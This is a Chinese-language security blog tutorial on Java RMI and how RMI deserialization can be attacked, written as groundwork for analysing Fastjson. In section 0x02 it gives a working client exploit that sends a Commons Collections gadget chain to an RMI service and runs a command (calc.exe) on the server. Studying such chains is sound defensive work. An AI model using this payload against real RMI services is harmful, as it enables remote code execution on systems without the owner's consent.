Java安全之RMI反序列化

0x00 前言

在分析Fastjson漏洞前,需要了解RMI机制和JNDI注入等知识点,所以本篇文来分析一下RMI机制。

在Java里面简单来说使用Java调用远程Java程序使用的就是RMI,调用C的程序调用的是JNI,调用python程序使用到的是Jython。RMI、JNI、Jython,其实在安全中都能发挥比较大的作用。 JNI在安全里面的运用就比较大了,既然可以调用C语言,那么后面的。。自行脑补。这个暂且忽略不讲,后面再说。如果使用或了解过python编写burp的插件的话,对这个Jython也不会陌生,如果说pthon的插件就需要安装一个Jython的jar包。这个后面再说。这里主要讲RMI,该机制会在反序列化中频繁运用,例如Weblogic的T3协议的反序列化漏洞。

概念

在了解RMI前还需要弄懂一些概念。

RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。

Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议。

JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
JNDI :Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。

0x01 RMI作用

RMI概述

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

不同于socket,RMI中分为三大部分:Server、Client、Registry 。

Server: 	提供远程的对象
Client: 调用远程的对象
Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)

RMI基础运用

前面也说过RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote接口。

  1. 定义一个远程的接口
package com.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException; public interface rmidemo extends Remote {
public String hello() throws RemoteException;
}

在定义远程接口的时候需要继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException的异常。

  1. 编写一个远程接口的实现类
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject; public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{ protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法");
} public String hello() throws RemoteException {
System.out.println("hello方法被调用");
return "hello,world";
}
}

在编写该实现类中需要将该类继承UnicastRemoteObject

  1. 创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class servet {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RemoteHelloWorld();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello }
}

到了这一步,简单的RMI服务端的代码就写好了。下面来写一个客户端调用该远程对象的代码。

  1. 编写客户端并且调用远程对象

    package com.rmi.rmiclient;
    
    import com.rmi.RemoteHelloWorld;
    import com.rmi.rmidemo; import java.rmi.NotBoundException;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry; public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
    // 利用注册表的代理去查询远程注册表中名为hello的对象
    rmidemo hello = (rmidemo) registry.lookup("hello");
    // 调用远程方法
    System.out.println(hello.hello());
    }
    }

在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。网上有很多分析RMI传输流量的文章,可以去找找看这里就不做演示了。

0x02 RMI 反序列化攻击

需要使用到RM进行反序列化攻击需要两个条件:接收Object类型的参数、RMI的服务端存在执行命令利用链。

这里对上面得代码做一个简单的改写。

远程接口代码:

package com.rmidemo;

import java.rmi.Remote;
import java.rmi.RemoteException; public interface User extends Remote {
public String hello(String hello) throws RemoteException; void work(Object obj) throws RemoteException; void say() throws RemoteException; }

需要定义一个object类型的参数方法。

远程接口实现类代码:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject; public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
} protected UserImpl(int port) throws RemoteException {
super(port);
} protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
} public String hello(String hello) throws RemoteException {
return "hello";
} public void work(Object obj) throws RemoteException {
System.out.println("work被调用了");
} public void say() throws RemoteException {
System.out.println("say");
}
}

server 代码:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class server {
public static void main(String[] args) throws RemoteException { User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}

client代码:

package com.rmidemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map; public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url); userClient.work(getpayload()); }
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
} }

执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器。之所以会被执行的原因前面也说过RMI在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行。至于序列化数据怎么构造,这个其实分析过CC链就一目了然了,这里不做赘述。

参考文章

https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8

0x03 结尾

在RMI的攻击手法中,其实不止文中提到的这么一个,但是这里就先告一段落先。现在的主要是为了分析Fastjson漏洞做一个前置准备,不多太深的研究。

Java安全之RMI反序列化的更多相关文章

  1. Java安全之RMI协议分析

    Java安全之RMI协议分析 0x00 前言 在前面其实有讲到过RMI,但是只是简单描述了一下RMI反序列化漏洞的利用.但是RMI底层的实现以及原理等方面并没有去涉及到,以及RMI的各种攻击方式.在其 ...

  2. Java 中序列化与反序列化

    一. 序列化和反序列化概念 Serialization(序列化)是一种将对象以一连串的字节描述的过程:反序列化deserialization是一种将这些字节重建成一个对象的过程.将程序中的对象,放入文 ...

  3. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  4. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  5. java 对象序列化与反序列化

    Java序列化与反序列化是什么? 为什么需要序列化与反序列化? 如何实现Java序列化与反序列化? 本文围绕这些问题进行了探讨. 1.Java序列化与反序列化  Java序列化是指把Java对象转换为 ...

  6. Java对象序列化与反序列化一 JSON

    Java对象序列化与反序列化一 JSON 1. 依赖库 jackson-all-1.6.1.jar 2. 代码 public class Student {    private String nam ...

  7. java 的序列化与反序列化

    前言: 一直很不理解java的序列化的概念,为什么java对象的序列化要实现 Serializable的接口?或者要实现Externalizable的接口?而且Externalizable 的父类还是 ...

  8. Java对象序列化和反序列化的工具方法

    import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import ja ...

  9. Java之序列化和反序列化

    序列化的对象: package test_demo.SerializableOper; import java.io.Serializable; /* * 序列化对象需要实现序列号接口 * */ pu ...

随机推荐

  1. ECharts系列:玩转ECharts之常用图(折线、柱状、饼状、散点、关系、树)

    一.背景 最近产品叫我做一些集团系列的统计图,包括集团组织.协作.销售.采购等方面的.作为一名后端程序员,于是趁此机会来研究研究这个库. 如果你仅仅停留在用的层面,那还是蛮简单的. 二.介绍 ECha ...

  2. Ubuntu通过Apache安装WebDav

    使用KeePass保存密码,在个人服务器上安装WebDav协议. # 安装Apache2服务器 sudo aptitude install -y apache2 # 开启Apache2中对WebDav ...

  3. 【Redis之疑难解析】(error) READONLY You can't write against a read only slave

    一.问题描述 已部署好 Redis 主从服务器,实现了数据的同步. Redis 主服务器(master server)具有读写的权限,而 从服务器(slave master)默认 只具有 读 的权限. ...

  4. spring-boot-route(十三)整合RabbitMQ

    这篇是SpringBoot整合消息队列的第一篇文章,我们详细介绍下消息队列的相关内容. 消息队列简介 1. 什么是消息队列 MQ(Message Quene):通过典型的生产者和消费者模型,生产者不断 ...

  5. linux 内存泄露检测工具

    Valgrind Memcheck 一个强大开源的程序检测工具 下载地址:http://valgrind.org/downloads/current.html Valgrind快速入门指南:http: ...

  6. fastadmin toggle switch 开关 ids 值为空的解决办法

    这个是低版本的一个bug 官方已给出说明,由于项目原因未选择升级版本 现在讲解决办法 1.在自定义开关的字段假如table:table 2.修改require-table.js 在536行左右的 to ...

  7. dgraph 使用简介

    dgraph 简介 dgraph 使用示例(基于 golang) golang client 安装 创建 schema 数据的 CURD 事务 总结 dgraph 简介 dgraph 是基于 gola ...

  8. vector专题

    <C++程序设计语言(第4部分:标准库)> 31.4 容器 31.4.1 vector 31.4.1.1 vector和增长 重要知识点:vector的内存布局 vector不会在添加每个 ...

  9. CS61A Homework: Church Numerals

    Church Numerals Nagging 南大的 SICP 实际上是 Berkeley CS61A 的 clone ,所以我有幸做到了这个 Homework02. 此外要感谢选课系统,让我一个工 ...

  10. spring boot:方法中使用try...catch导致@Transactional事务无效的解决(spring boot 2.3.4)

    一,方法中使用try...catch导致@Transactional事务无效的解决方法 1,问题的描述: 如果一个方法添加了@Transactional注解声明事务, 而方法内又使用了try catc ...